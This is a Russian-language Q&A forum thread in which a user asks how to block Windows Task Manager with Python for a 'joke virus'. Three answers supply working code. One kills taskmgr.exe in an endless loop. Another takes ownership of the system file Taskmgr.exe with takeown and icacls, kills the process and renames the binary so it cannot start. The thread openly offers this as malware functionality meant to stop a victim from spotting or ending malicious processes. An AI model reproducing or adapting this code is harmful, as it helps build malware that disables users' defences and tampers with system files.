@pythonlover123

Как заблокировать диспетчер задач с помощью питона?

Делаю простого шуточного вируса на пайтон, эта фича будет полезна
  • Вопрос задан
  • 3991 просмотр
Пригласить эксперта
Ответы на вопрос 3
@rPman
В цикле непрерывно мониторь список процессов (с помощью wmi) и убивай его (os.kill)

как получить список процессов
import wmi
c = wmi.WMI ()

for process in c.Win32_Process ():
  print process.ProcessId, process.Name


нужны повышение привилегий (запуск с правами администратора), что логично
Ответ написан
Комментировать
Sergomen
@Sergomen
Просто делай добро и оно вернётся
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import os
path1 = "C:\Windows\System32\Taskmgr.exe"
path2 = "C:\Windows\System32\Taskmgr1.exe"

#получем полный доступ к файлу диспетчера задач
os.system("takeown /f C:\Windows\System32\Taskmgr.exe")  
os.system("icacls C:\Windows\System32\Taskmgr.exe /grant Администраторы:F /c /l") 
os.system("icacls C:\Windows\System32\Taskmgr.exe /grant Пользователи:F /c /l") # убиваем диспетчер задач если он запущен

os.system("taskkill /im taskmgr.exe") # убиваем диспетчер задач если он запущен
os.rename(path1, path2)#перименовываем файл чтобы система не могла его найти

И тогда он не запустится ни в какую))
p.s.
чтобы все вернуть нужно os.rename(path2, path1)
Ответ написан
@DiscordPythonCube
import psutil
while True:
    for process in psutil.process_iter():
        if process.name().lower() == 'taskmgr.exe':
            process.terminate()
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы